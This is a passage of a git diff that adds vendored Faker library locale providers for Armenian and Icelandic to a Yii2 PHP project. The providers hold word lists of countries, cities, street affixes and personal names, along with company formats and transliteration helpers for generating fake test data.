static::randomElement(static::$streetPrefix); + } + + public static function street() + { + return static::randomElement(static::$street); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/hy_AM/Company.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/hy_AM/Company.php new file mode 100644 index 00000000..8ef3cce9 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/hy_AM/Company.php @@ -0,0 +1,54 @@ +generator->parse($format)); + } + + /** + * @example 'faber' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/,/', '', $company); + + // Translit for armenian language + $company = mb_strtolower($company, 'UTF-8'); + $company = str_replace( + array('ու','ա','բ','գ','դ','ե','զ','է','ը','թ','ժ','ի','լ','խ','ծ','կ','հ','ձ','ղ','ճ','մ','յ','ն','շ','ո','չ','պ','ջ','ռ','ս','վ','տ','ր','ց','փ','ք','և','օ','ֆ',), + array('u','a','b','g','d','e','z','e','y','t','zh','i','l','kh','ts','k','h','dz','gh','ch','m','y','n','sh','o','ch','p','j','r','s','v','t','r','ts','p','q','ev','o','f'), + $company + ); + + return $company; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/hy_AM/Person.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/hy_AM/Person.php new file mode 100644 index 00000000..aaddfb9a --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/hy_AM/Person.php @@ -0,0 +1,112 @@ + + */ +class Address extends \Faker\Provider\Address +{ + /** + * @var array Countries in icelandic + */ + protected static $country = array( + 'Afganistan', 'Albanía', 'Alsír', 'Andorra', 'Angóla', 'Angvilla', 'Antígva og Barbúda', 'Argentína', + 'Armenía', 'Arúba', 'Aserbaídsjan', 'Austur-Kongó', 'Austurríki', 'Austur-Tímor', 'Álandseyjar', + 'Ástralía', 'Bahamaeyjar', 'Bandaríkin', 'Bandaríska Samóa', 'Bangladess', 'Barbados', 'Barein', + 'Belgía', 'Belís', 'Benín', 'Bermúdaeyjar', 'Bosnía og Hersegóvína', 'Botsvana', 'Bouvet-eyja', 'Bólivía', + 'Brasilía', 'Bresku Indlandshafseyjar', 'Bretland', 'Brúnei', 'Búlgaría', 'Búrkína Fasó', 'Búrúndí', 'Bútan', + 'Cayman-eyjar', 'Chile', 'Cooks-eyjar', 'Danmörk', 'Djíbútí', 'Dóminíka', 'Dóminíska lýðveldið', 'Egyptaland', + 'Eistland', 'Ekvador', 'El Salvador', 'England', 'Erítrea', 'Eþíópía', 'Falklandseyjar', 'Filippseyjar', + 'Finnland', 'Fídjieyjar', 'Fílabeinsströndin', 'Frakkland', 'Franska Gvæjana', 'Franska Pólýnesía', + 'Frönsku suðlægu landsvæðin', 'Færeyjar', 'Gabon', 'Gambía', 'Gana', 'Georgía', 'Gíbraltar', 'Gínea', + 'Gínea-Bissá', 'Grenada', 'Grikkland', 'Grænhöfðaeyjar', 'Grænland', 'Gvadelúpeyjar', 'Gvam', 'Gvatemala', + 'Gvæjana', 'Haítí', 'Heard og McDonalds-eyjar', 'Holland', 'Hollensku Antillur', 'Hondúras', 'Hong Kong', + 'Hvíta-Rússland', 'Indland', 'Indónesía', 'Írak', 'Íran', 'Írland', 'Ísland', 'Ísrael', 'Ítalía', 'Jamaíka', + 'Japan', 'Jemen', 'Jólaey', 'Jómfrúaeyjar', 'Jórdanía', 'Kambódía', 'Kamerún', 'Kanada', 'Kasakstan', 'Katar', + 'Kenía', 'Kirgisistan', 'Kína', 'Kíribatí', 'Kongó', 'Austur-Kongó', 'Vestur-Kongó', 'Kostaríka', 'Kókoseyjar', + 'Kólumbía', 'Kómoreyjar', 'Kórea', 'Norður-Kórea;', 'Suður-Kórea', 'Króatía', 'Kúba', 'Kúveit', 'Kýpur', + 'Laos', 'Lesótó', 'Lettland', 'Liechtenstein', 'Litháen', 'Líbanon', 'Líbería', 'Líbía', 'Lúxemborg', + 'Madagaskar', 'Makaó', 'Makedónía', 'Malasía', 'Malaví', 'Maldíveyjar', 'Malí', 'Malta', 'Marokkó', + 'Marshall-eyjar', 'Martiník', 'Mayotte', 'Máritanía', 'Máritíus', 'Mexíkó', 'Mið-Afríkulýðveldið', + 'Miðbaugs-Gínea', 'Míkrónesía', 'Mjanmar', 'Moldóva', 'Mongólía', 'Montserrat', 'Mónakó', 'Mósambík', + 'Namibía', 'Nárú', 'Nepal', 'Niue', 'Níger', 'Nígería', 'Níkaragva', 'Norður-Írland', 'Norður-Kórea', + 'Norður-Maríanaeyjar', 'Noregur', 'Norfolkeyja', 'Nýja-Kaledónía', 'Nýja-Sjáland', 'Óman', 'Pakistan', + 'Palá', 'Palestína', 'Panama', 'Papúa Nýja-Gínea', 'Paragvæ', 'Páfagarður', 'Perú', 'Pitcairn', 'Portúgal', + 'Pólland', 'Púertó Ríkó', 'Réunion', 'Rúanda', 'Rúmenía', 'Rússland', 'Salómonseyjar', 'Sambía', + 'Sameinuðu arabísku furstadæmin', 'Samóa', 'San Marínó', 'Sankti Helena', 'Sankti Kristófer og Nevis', + 'Sankti Lúsía', 'Sankti Pierre og Miquelon', 'Sankti Vinsent og Grenadíneyjar', 'Saó Tóme og Prinsípe', + 'Sádi-Arabía', 'Senegal', 'Serbía', 'Seychelles-eyjar', 'Simbabve', 'Singapúr', 'Síerra Leóne', 'Skotland', + 'Slóvakía', 'Slóvenía', 'Smáeyjar Bandaríkjanna', 'Sómalía', 'Spánn', 'Srí Lanka', 'Suður-Afríka', + 'Suður-Georgía og Suður-Sandvíkureyjar', 'Suður-Kórea', 'Suðurskautslandið', 'Súdan', 'Súrínam', 'Jan Mayen', + 'Svartfjallaland', 'Svasíland', 'Sviss', 'Svíþjóð', 'Sýrland', 'Tadsjikistan', 'Taíland', 'Taívan', 'Tansanía', + 'Tékkland', 'Tonga', 'Tógó', 'Tókelá', 'Trínidad og Tóbagó', 'Tsjad', 'Tsjetsjenía', 'Turks- og Caicos-eyjar', + 'Túnis', 'Túrkmenistan', 'Túvalú', 'Tyrkland', 'Ungverjaland', 'Úganda', 'Úkraína', 'Úrúgvæ', 'Úsbekistan', + 'Vanúatú', 'Venesúela', 'Vestur-Kongó', 'Vestur-Sahara', 'Víetnam', 'Wales', 'Wallis- og Fútúnaeyjar', 'Þýskaland' + ); + + /** + * @var array Icelandic cities. + */ + protected static $cityNames = array( + 'Reykjavík', 'Seltjarnarnes', 'Vogar', 'Kópavogur', 'Garðabær', 'Hafnarfjörður', 'Reykjanesbær', 'Grindavík', + 'Sandgerði', 'Garður', 'Reykjanesbær', 'Mosfellsbær', 'Akranes', 'Borgarnes', 'Reykholt', 'Stykkishólmur', + 'Flatey', 'Grundarfjörður', 'Ólafsvík', 'Snæfellsbær', 'Hellissandur', 'Búðardalur', 'Reykhólahreppur', + 'Ísafjörður', 'Hnífsdalur', 'Bolungarvík', 'Súðavík', 'Flateyri', 'Suðureyri', 'Patreksfjörður', + 'Tálknafjörður', 'Bíldudalur', 'Þingeyri', 'Staður', 'Hólmavík', 'Drangsnes', 'Árneshreppur', 'Hvammstangi', + 'Blönduós', 'Skagaströnd', 'Sauðárkrókur', 'Varmahlíð', 'Hofsós', 'Fljót', 'Siglufjörður', 'Akureyri', + 'Grenivík', 'Grímsey', 'Dalvík', 'Ólafsfjörður', 'Hrísey', 'Húsavík', 'Fosshóll', 'Laugar', 'Mývatn', + 'Kópasker', 'Raufarhöfn', 'Þórshöfn', 'Bakkafjörður', 'Vopnafjörður', 'Egilsstaðir', 'Seyðisfjörður', + 'Mjóifjörður', 'Borgarfjörður', 'Reyðarfjörður', 'Eskifjörður', 'Neskaupstaður', 'Fáskrúðsfjörður', + 'Stöðvarfjörður', 'Breiðdalsvík', 'Djúpivogur', 'Höfn', 'Selfoss', 'Hveragerði', 'Þorlákshöfn', 'Ölfus', + 'Eyrarbakki', 'Stokkseyri', 'Laugarvatn', 'Flúðir', 'Hella', 'Hvolsvöllur', 'Vík', 'Kirkjubæjarklaustur', + 'Vestmannaeyjar' + ); + + /** + * @var array Street name suffix. + */ + protected static $streetSuffix = array( + 'ás', 'bakki', 'braut', 'bær', 'brún', 'berg', 'fold', 'gata', 'gróf', + 'garðar', 'höfði', 'heimar', 'hamar', 'hólar', 'háls', 'kvísl', 'lækur', + 'leiti', 'land', 'múli', 'nes', 'rimi', 'stígur', 'stræti', 'stekkur', + 'slóð', 'skógar', 'sel', 'teigur', 'tún', 'vangur', 'vegur', 'vogur', + 'vað' + ); + + /** + * @var array Street name prefix. + */ + protected static $streetPrefix = array( + 'Aðal', 'Austur', 'Bakka', 'Braga', 'Báru', 'Brunn', 'Fiski', 'Leifs', + 'Týs', 'Birki', 'Suður', 'Norður', 'Vestur', 'Austur', 'Sanda', 'Skógar', + 'Stór', 'Sunnu', 'Tungu', 'Tangar', 'Úlfarfells', 'Vagn', 'Vind', 'Ysti', + 'Þing', 'Hamra', 'Hóla', 'Kríu', 'Iðu', 'Spóa', 'Starra', 'Uglu', 'Vals' + ); + + /** + * @var Icelandic zip code. + **/ + protected static $postcode = array( + '%##' + ); + + /** + * @var array Icelandic regions. + */ + protected static $regionNames = array( + 'Höfuðborgarsvæðið', 'Norðurland', 'Suðurland', 'Vesturland', 'Vestfirðir', 'Austurland', 'Suðurnes' + ); + + /** + * @var array Icelandic building numbers. + */ + protected static $buildingNumber = array( + '%##', '%#', '%#', '%', '%', '%', '%?', '% ?', + ); + + /** + * @var array Icelandic city format. + */ + protected static $cityFormats = array( + '{{cityName}}', + ); + + /** + * @var array Icelandic street's name formats. + */ + protected static $streetNameFormats = array( + '{{streetPrefix}}{{streetSuffix}}', + '{{streetPrefix}}{{streetSuffix}}', + '{{firstNameMale}}{{streetSuffix}}', + '{{firstNameFemale}}{{streetSuffix}}' + ); + + /** + * @var array Icelandic street's address formats. + */ + protected static $streetAddressFormats = array( + '{{streetName}} {{buildingNumber}}' + ); + + /** + * @var array Icelandic address format. + */ + protected static $addressFormats = array( + "{{streetAddress}}\n{{postcode}} {{city}}", + ); + + /** + * Randomly return a real city name. + * + * @return string + */ + public static function cityName() + { + return static::randomElement(static::$cityNames); + } + + /** + * Randomly return a street prefix. + * + * @return string + */ + public static function streetPrefix() + { + return static::randomElement(static::$streetPrefix); + } + + /** + * Randomly return a building number. + * + * @return string + */ + public static function buildingNumber() + { + return static::toUpper(static::bothify(static::randomElement(static::$buildingNumber))); + } + + /** + * Randomly return a real region name. + * + * @return string + */ + public static function region() + { + return static::randomElement(static::$regionNames); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/Company.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/Company.php new file mode 100644 index 00000000..6b934519 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/Company.php @@ -0,0 +1,53 @@ + + */ +class Company extends \Faker\Provider\Company +{ + /** + * @var array Danish company name formats. + */ + protected static $formats = array( + '{{lastName}} {{companySuffix}}', + '{{lastName}} {{companySuffix}}', + '{{lastName}} {{companySuffix}}', + '{{firstname}} {{lastName}} {{companySuffix}}', + '{{middleName}} {{companySuffix}}', + '{{middleName}} {{companySuffix}}', + '{{middleName}} {{companySuffix}}', + '{{firstname}} {{middleName}} {{companySuffix}}', + '{{lastName}} & {{lastName}} {{companySuffix}}', + '{{lastName}} og {{lastName}} {{companySuffix}}', + '{{lastName}} & {{lastName}} {{companySuffix}}', + '{{lastName}} og {{lastName}} {{companySuffix}}', + '{{middleName}} & {{middleName}} {{companySuffix}}', + '{{middleName}} og {{middleName}} {{companySuffix}}', + '{{middleName}} & {{lastName}}', + '{{middleName}} og {{lastName}}', + ); + + /** + * @var array Company suffixes. + */ + protected static $companySuffix = array('ehf.', 'hf.', 'sf.'); + + /** + * @link http://www.rsk.is/atvinnurekstur/virdisaukaskattur/ + * + * @var string VSK number format. + */ + protected static $vskFormat = '%####'; + + /** + * Generates a VSK number (5 digits). + * + * @return string + */ + public static function vsk() + { + return static::numerify(static::$vskFormat); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/Internet.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/Internet.php new file mode 100644 index 00000000..14715aa8 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/Internet.php @@ -0,0 +1,61 @@ + + */ +class Internet extends \Faker\Provider\Internet +{ + /** + * @var array Some email domains in Denmark. + */ + protected static $freeEmailDomain = array( + 'gmail.com', 'yahoo.com', 'hotmail.com', 'visir.is', 'simnet.is', 'internet.is' + ); + + /** + * @var array Some TLD. + */ + protected static $tld = array( + 'com', 'com', 'com', 'net', 'is', 'is', 'is', + ); + + /** + * Converts Icelandic characters to their ASCII representation + * + * @return string + */ + private static function toAscii($string) + { + $from = array('Á','á','É','é','Ú','ú','Ý','ý','Ó','ó','Þ','þ','Ð','ð','Æ','æ','Ö','ö'); + $to = array('A','a','E','e','U','u','Y','y','O','o','Th','th','D','d','Ae','ae','O','o'); + + return str_replace($from, $to, $string); + } + + /** + * @example 'jeppe' + * @return string + */ + public function userName() + { + $format = static::randomElement(static::$userNameFormats); + + return static::toLower(static::toAscii(static::bothify($this->generator->parse($format)))); + } + + /** + * @example 'jensen.is' + * @return string + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + + return static::toLower(static::toAscii($company)); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/Payment.php new file mode 100644 index 00000000..c119c382 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/Payment.php @@ -0,0 +1,19 @@ + + */ +class Person extends \Faker\Provider\Person +{ + /** + * @var array Icelandic person name formats. + */ + protected static $maleNameFormats = array( + '{{firstNameMale}} {{lastNameMale}}', + '{{firstNameMale}} {{lastNameMale}}', + '{{firstNameMale}} {{middleName}} {{lastNameMale}}', + '{{firstNameMale}} {{middleName}} {{lastNameMale}}', + ); + + protected static $femaleNameFormats = array( + '{{firstNameFemale}} {{lastNameFemale}}', + '{{firstNameFemale}} {{lastNameFemale}}', + '{{firstNameFemale}} {{middleName}} {{lastNameFemale}}', + '{{firstNameFemale}} {{middleName}} {{lastNameFemale}}', + ); + + /** + * @var string Icelandic women names. + */ + protected static $firstNameFemale = array('Aagot', 'Abela', 'Abigael', 'Ada', 'Adda', 'Addý', 'Adela', 'Adelía', 'Adríana', 'Aðalbjörg', 'Aðalbjört', 'Aðalborg', 'Aðaldís', 'Aðalfríður', 'Aðalheiður', 'Aðalrós', 'Aðalsteina', 'Aðalsteinunn', 'Aðalveig', 'Agata', 'Agatha', 'Agða', 'Agla', 'Agnea', 'Agnes', 'Agneta', 'Alanta', 'Alba', 'Alberta', 'Albína', 'Alda', 'Aldís', 'Aldný', 'Aleta', 'Aletta', 'Alexa', 'Alexandra', 'Alexandría', 'Alexis', 'Alexía', 'Alfa', 'Alfífa', 'Alice', 'Alida', 'Alída', 'Alína', 'Alís', 'Alísa', 'Alla', 'Allý', 'Alma', 'Alrún', 'Alva', 'Alvilda', 'Amadea', 'Amal', 'Amalía', 'Amanda', 'Amelía', 'Amilía', 'Amíra', 'Amy', 'Amý', 'Analía', 'Anastasía', 'Andra', 'Andrá', 'Andrea', 'Anetta', 'Angela', 'Angelíka', 'Anika', 'Anita', 'Aníka', 'Anína', 'Aníta', 'Anja', 'Ann', 'Anna', 'Annabella', 'Annalísa', 'Anne', 'Annelí', 'Annetta', 'Anney', 'Annika', 'Annía', 'Anný', 'Antonía', 'Apríl', 'Ardís', 'Arey', 'Arinbjörg', 'Aris', 'Arisa', 'Aría', 'Aríanna', 'Aríella', 'Arín', 'Arína', 'Arís', 'Armenía', 'Arna', 'Arnbjörg', 'Arnborg', 'Arndís', 'Arney', 'Arnfinna', 'Arnfríður', 'Arngerður', 'Arngunnur', 'Arnheiður', 'Arnhildur', 'Arnika', 'Arnkatla', 'Arnlaug', 'Arnleif', 'Arnlín', 'Arnljót', 'Arnóra', 'Arnrós', 'Arnrún', 'Arnþóra', 'Arnþrúður', 'Asírí', 'Askja', 'Assa', 'Astrid', 'Atalía', 'Atena', 'Athena', 'Atla', 'Atlanta', 'Auðbjörg', 'Auðbjört', 'Auðdís', 'Auðlín', 'Auðna', 'Auðný', 'Auðrún', 'Auður', 'Aurora', 'Axelía', 'Axelma', 'Aþena', 'Ágústa', 'Ágústína', 'Álfdís', 'Álfey', 'Álfgerður', 'Álfheiður', 'Álfhildur', 'Álfrós', 'Álfrún', 'Álfsól', 'Árbjörg', 'Árbjört', 'Árdís', 'Árelía', 'Árlaug', 'Ármey', 'Árna', 'Árndís', 'Árney', 'Árnheiður', 'Árnína', 'Árný', 'Áróra', 'Ársól', 'Ársæl', 'Árún', 'Árveig', 'Árvök', 'Árþóra', 'Ása', 'Ásbjörg', 'Ásborg', 'Ásdís', 'Ásfríður', 'Ásgerður', 'Áshildur', 'Áskatla', 'Ásla', 'Áslaug', 'Ásleif', 'Ásný', 'Ásrós', 'Ásrún', 'Ást', 'Ásta', 'Ástbjörg', 'Ástbjört', 'Ástdís', 'Ástfríður', 'Ástgerður', 'Ástheiður', 'Ásthildur', 'Ástríður', 'Ástrós', 'Ástrún', 'Ástveig', 'Ástþóra', 'Ástþrúður', 'Ásvör', 'Baldey', 'Baldrún', 'Baldvina', 'Barbara', 'Barbára', 'Bassí', 'Bára', 'Bebba', 'Begga', 'Belinda', 'Bella', 'Benedikta', 'Bengta', 'Benidikta', 'Benía', 'Beníta', 'Benna', 'Benney', 'Benný', 'Benta', 'Bentey', 'Bentína', 'Bera', 'Bergdís', 'Bergey', 'Bergfríður', 'Bergheiður', 'Berghildur', 'Berglaug', 'Berglind', 'Berglín', 'Bergljót', 'Bergmannía', 'Bergný', 'Bergrán', 'Bergrín', 'Bergrós', 'Bergrún', 'Bergþóra', 'Berit', 'Bernódía', 'Berta', 'Bertha', 'Bessí', 'Bestla', 'Beta', 'Betanía', 'Betsý', 'Bettý', 'Bil', 'Birgit', 'Birgitta', 'Birna', 'Birta', 'Birtna', 'Bíbí', 'Bína', 'Bjargdís', 'Bjargey', 'Bjargheiður', 'Bjarghildur', 'Bjarglind', 'Bjarkey', 'Bjarklind', 'Bjarma', 'Bjarndís', 'Bjarney', 'Bjarnfríður', 'Bjarngerður', 'Bjarnheiður', 'Bjarnhildur', 'Bjarnlaug', 'Bjarnrún', 'Bjarnveig', 'Bjarný', 'Bjarnþóra', 'Bjarnþrúður', 'Bjartey', 'Bjartmey', 'Björg', 'Björgey', 'Björgheiður', 'Björghildur', 'Björk', 'Björney', 'Björnfríður', 'Björt', 'Bláey', 'Blíða', 'Blín', 'Blómey', 'Blædís', 'Blær', 'Bobba', 'Boga', 'Bogdís', 'Bogey', 'Bogga', 'Boghildur', 'Borg', 'Borgdís', 'Borghildur', 'Borgný', 'Borgrún', 'Borgþóra', 'Botnía', 'Bóel', 'Bót', 'Bóthildur', 'Braga', 'Braghildur', 'Branddís', 'Brá', 'Brák', 'Brigitta', 'Brimdís', 'Brimhildur', 'Brimrún', 'Brit', 'Britt', 'Britta', 'Bríana', 'Bríanna', 'Bríet', 'Bryndís', 'Brynfríður', 'Bryngerður', 'Brynheiður', 'Brynhildur', 'Brynja', 'Brynný', 'Burkney', 'Bylgja', 'Camilla', 'Carla', 'Carmen', 'Cecilia', 'Cecilía', 'Charlotta', 'Charlotte', 'Christina', 'Christine', 'Clara', 'Daðey', 'Daðína', 'Dagbjörg', 'Dagbjört', 'Dagfríður', 'Daggrós', 'Dagheiður', 'Dagmar', 'Dagmey', 'Dagný', 'Dagrún', 'Daldís', 'Daley', 'Dalía', 'Dalla', 'Dallilja', 'Dalrós', 'Dana', 'Daney', 'Danfríður', 'Danheiður', 'Danhildur', 'Danía', 'Daníela', 'Daníella', 'Dara', 'Debora', 'Debóra', 'Dendý', 'Didda', 'Dilja', 'Diljá', 'Dimmblá', 'Dimmey', 'Día', 'Díana', 'Díanna', 'Díma', 'Dís', 'Dísa', 'Dísella', 'Donna', 'Doris', 'Dorothea', 'Dóa', 'Dómhildur', 'Dóra', 'Dórey', 'Dóris', 'Dórothea', 'Dórótea', 'Dóróthea', 'Drauma', 'Draumey', 'Drífa', 'Droplaug', 'Drótt', 'Dröfn', 'Dúa', 'Dúfa', 'Dúna', 'Dýrborg', 'Dýrfinna', 'Dýrleif', 'Dýrley', 'Dýrunn', 'Dæja', 'Dögg', 'Dögun', 'Ebba', 'Ebonney', 'Edda', 'Edel', 'Edil', 'Edit', 'Edith', 'Eðna', 'Efemía', 'Egedía', 'Eggrún', 'Egla', 'Eiðný', 'Eiðunn', 'Eik', 'Einbjörg', 'Eindís', 'Einey', 'Einfríður', 'Einhildur', 'Einína', 'Einrún', 'Eir', 'Eirdís', 'Eirfinna', 'Eiríka', 'Eirný', 'Eirún', 'Elba', 'Eldbjörg', 'Eldey', 'Eldlilja', 'Eldrún', 'Eleina', 'Elektra', 'Elena', 'Elenborg', 'Elfa', 'Elfur', 'Elina', 'Elinborg', 'Elisabeth', 'Elía', 'Elíana', 'Elín', 'Elína', 'Elíná', 'Elínbet', 'Elínbjörg', 'Elínbjört', 'Elínborg', 'Elíndís', 'Elíngunnur', 'Elínheiður', 'Elínrós', 'Elírós', 'Elísa', 'Elísabet', 'Elísabeth', 'Elka', 'Ella', 'Ellen', 'Elley', 'Ellisif', 'Ellín', 'Elly', 'Ellý', 'Elma', 'Elna', 'Elsa', 'Elsabet', 'Elsie', 'Elsí', 'Elsý', 'Elva', 'Elvi', 'Elvíra', 'Elvý', 'Embla', 'Emelía', 'Emelíana', 'Emelína', 'Emeralda', 'Emilía', 'Emilíana', 'Emilíanna', 'Emilý', 'Emma', 'Emmý', 'Emý', 'Enea', 'Eneka', 'Engilbjört', 'Engilráð', 'Engilrós', 'Engla', 'Enika', 'Enja', 'Enóla', 'Eres', 'Erika', 'Erin', 'Erla', 'Erlen', 'Erlín', 'Erna', 'Esja', 'Esmeralda', 'Ester', 'Esther', 'Estiva', 'Ethel', 'Etna', 'Eufemía', 'Eva', 'Evelyn', 'Evey', 'Evfemía', 'Evgenía', 'Evíta', 'Evlalía', 'Ey', 'Eybjörg', 'Eybjört', 'Eydís', 'Eyfríður', 'Eygerður', 'Eygló', 'Eyhildur', 'Eyja', 'Eyjalín', 'Eyleif', 'Eylín', 'Eyrós', 'Eyrún', 'Eyveig', 'Eyvör', 'Eyþóra', 'Eyþrúður', 'Fanndís', 'Fanney', 'Fannlaug', 'Fanny', 'Fanný', 'Febrún', 'Fema', 'Filipía', 'Filippa', 'Filippía', 'Finna', 'Finnbjörg', 'Finnbjörk', 'Finnboga', 'Finnborg', 'Finndís', 'Finney', 'Finnfríður', 'Finnlaug', 'Finnrós', 'Fía', 'Fídes', 'Fífa', 'Fjalldís', 'Fjóla', 'Flóra', 'Folda', 'Fransiska', 'Franziska', 'Frán', 'Fregn', 'Freydís', 'Freygerður', 'Freyja', 'Freylaug', 'Freyleif', 'Friðbjörg', 'Friðbjört', 'Friðborg', 'Friðdís', 'Friðdóra', 'Friðey', 'Friðfinna', 'Friðgerður', 'Friðjóna', 'Friðlaug', 'Friðleif', 'Friðlín', 'Friðmey', 'Friðný', 'Friðrika', 'Friðrikka', 'Friðrós', 'Friðrún', 'Friðsemd', 'Friðveig', 'Friðþóra', 'Frigg', 'Fríða', 'Fríður', 'Frostrós', 'Fróðný', 'Fura', 'Fönn', 'Gabríela', 'Gabríella', 'Gauja', 'Gauthildur', 'Gefjun', 'Gefn', 'Geira', 'Geirbjörg', 'Geirdís', 'Geirfinna', 'Geirfríður', 'Geirhildur', 'Geirlaug', 'Geirlöð', 'Geirný', 'Geirríður', 'Geirrún', 'Geirþrúður', 'Georgía', 'Gerða', 'Gerður', 'Gestheiður', 'Gestný', 'Gestrún', 'Gillý', 'Gilslaug', 'Gissunn', 'Gía', 'Gígja', 'Gísela', 'Gísla', 'Gísley', 'Gíslína', 'Gíslný', 'Gíslrún', 'Gíslunn', 'Gíta', 'Gjaflaug', 'Gloría', 'Gló', 'Glóa', 'Glóbjört', 'Glódís', 'Glóð', 'Glóey', 'Gná', 'Góa', 'Gógó', 'Grein', 'Gret', 'Greta', 'Grélöð', 'Grét', 'Gréta', 'Gríma', 'Grímey', 'Grímheiður', 'Grímhildur', 'Gróa', 'Guðbjörg', 'Guðbjört', 'Guðborg', 'Guðdís', 'Guðfinna', 'Guðfríður', 'Guðjóna', 'Guðlaug', 'Guðleif', 'Guðlín', 'Guðmey', 'Guðmunda', 'Guðmundína', 'Guðný', 'Guðríður', 'Guðrún', 'Guðsteina', 'Guðveig', 'Gullbrá', 'Gullveig', 'Gullý', 'Gumma', 'Gunnbjörg', 'Gunnbjört', 'Gunnborg', 'Gunndís', 'Gunndóra', 'Gunnella', 'Gunnfinna', 'Gunnfríður', 'Gunnharða', 'Gunnheiður', 'Gunnhildur', 'Gunnjóna', 'Gunnlaug', 'Gunnleif', 'Gunnlöð', 'Gunnrún', 'Gunnur', 'Gunnveig', 'Gunnvör', 'Gunný', 'Gunnþóra', 'Gunnþórunn', 'Gurrý', 'Gúa', 'Gyða', 'Gyðja', 'Gyðríður', 'Gytta', 'Gæfa', 'Gæflaug', 'Hadda', 'Haddý', 'Hafbjörg', 'Hafborg', 'Hafdís', 'Hafey', 'Hafliða', 'Haflína', 'Hafný', 'Hafrós', 'Hafrún', 'Hafsteina', 'Hafþóra', 'Halla', 'Hallbera', 'Hallbjörg', 'Hallborg', 'Halldís', 'Halldóra', 'Halley', 'Hallfríður', 'Hallgerður', 'Hallgunnur', 'Hallkatla', 'Hallný', 'Hallrún', 'Hallveig', 'Hallvör', 'Hanna', 'Hanney', 'Hansa', 'Hansína', 'Harpa', 'Hauður', 'Hákonía', 'Heba', 'Hedda', 'Hedí', 'Heiða', 'Heiðbjörg', 'Heiðbjörk', 'Heiðbjört', 'Heiðbrá', 'Heiðdís', 'Heiðlaug', 'Heiðlóa', 'Heiðný', 'Heiðrós', 'Heiðrún', 'Heiður', 'Heiðveig', 'Hekla', 'Helen', 'Helena', 'Helga', 'Hella', 'Helma', 'Hendrikka', 'Henný', 'Henrietta', 'Henrika', 'Henríetta', 'Hera', 'Herbjörg', 'Herbjört', 'Herborg', 'Herdís', 'Herfríður', 'Hergerður', 'Herlaug', 'Hermína', 'Hersilía', 'Herta', 'Hertha', 'Hervör', 'Herþrúður', 'Hilda', 'Hildegard', 'Hildibjörg', 'Hildigerður', 'Hildigunnur', 'Hildiríður', 'Hildisif', 'Hildur', 'Hilma', 'Himinbjörg', 'Hind', 'Hinrika', 'Hinrikka', 'Hjalta', 'Hjaltey', 'Hjálmdís', 'Hjálmey', 'Hjálmfríður', 'Hjálmgerður', 'Hjálmrós', 'Hjálmrún', 'Hjálmveig', 'Hjördís', 'Hjörfríður', 'Hjörleif', 'Hjörný', 'Hjörtfríður', 'Hlaðgerður', 'Hlédís', 'Hlíf', 'Hlín', 'Hlökk', 'Hólmbjörg', 'Hólmdís', 'Hólmfríður', 'Hrafna', 'Hrafnborg', 'Hrafndís', 'Hrafney', 'Hrafngerður', 'Hrafnheiður', 'Hrafnhildur', 'Hrafnkatla', 'Hrafnlaug', 'Hrafntinna', 'Hraundís', 'Hrefna', 'Hreindís', 'Hróðný', 'Hrólfdís', 'Hrund', 'Hrönn', 'Hugbjörg', 'Hugbjört', 'Hugborg', 'Hugdís', 'Hugljúf', 'Hugrún', 'Huld', 'Hulda', 'Huldís', 'Huldrún', 'Húnbjörg', 'Húndís', 'Húngerður', 'Hvönn', 'Hödd', 'Högna', 'Hörn', 'Ida', 'Idda', 'Iða', 'Iðunn', 'Ilmur', 'Immý', 'Ina', 'Inda', 'India', 'Indiana', 'Indía', 'Indíana', 'Indíra', 'Indra', 'Inga', 'Ingdís', 'Ingeborg', 'Inger', 'Ingey', 'Ingheiður', 'Inghildur', 'Ingibjörg', 'Ingibjört', 'Ingiborg', 'Ingifinna', 'Ingifríður', 'Ingigerður', 'Ingilaug', 'Ingileif', 'Ingilín', 'Ingimaría', 'Ingimunda', 'Ingiríður', 'Ingirós', 'Ingisól', 'Ingiveig', 'Ingrid', 'Ingrún', 'Ingunn', 'Ingveldur', 'Inna', 'Irena', 'Irene', 'Irja', 'Irma', 'Irmý', 'Irpa', 'Isabel', 'Isabella', 'Ída', 'Íma', 'Ína', 'Ír', 'Íren', 'Írena', 'Íris', 'Írunn', 'Ísabel', 'Ísabella', 'Ísadóra', 'Ísafold', 'Ísalind', 'Ísbjörg', 'Ísdís', 'Ísey', 'Ísfold', 'Ísgerður', 'Íshildur', 'Ísis', 'Íslaug', 'Ísleif', 'Ísmey', 'Ísold', 'Ísól', 'Ísrún', 'Íssól', 'Ísveig', 'Íunn', 'Íva', 'Jakobína', 'Jana', 'Jane', 'Janetta', 'Jannika', 'Jara', 'Jarún', 'Jarþrúður', 'Jasmín', 'Járnbrá', 'Járngerður', 'Jenetta', 'Jenna', 'Jenný', 'Jensína', 'Jessý', 'Jovina', 'Jóa', 'Jóanna', 'Jódís', 'Jófríður', 'Jóhanna', 'Jólín', 'Jóna', 'Jónanna', 'Jónasína', 'Jónbjörg', 'Jónbjört', 'Jóndís', 'Jóndóra', 'Jóney', 'Jónfríður', 'Jóngerð', 'Jónheiður', 'Jónhildur', 'Jóninna', 'Jónída', 'Jónína', 'Jónný', 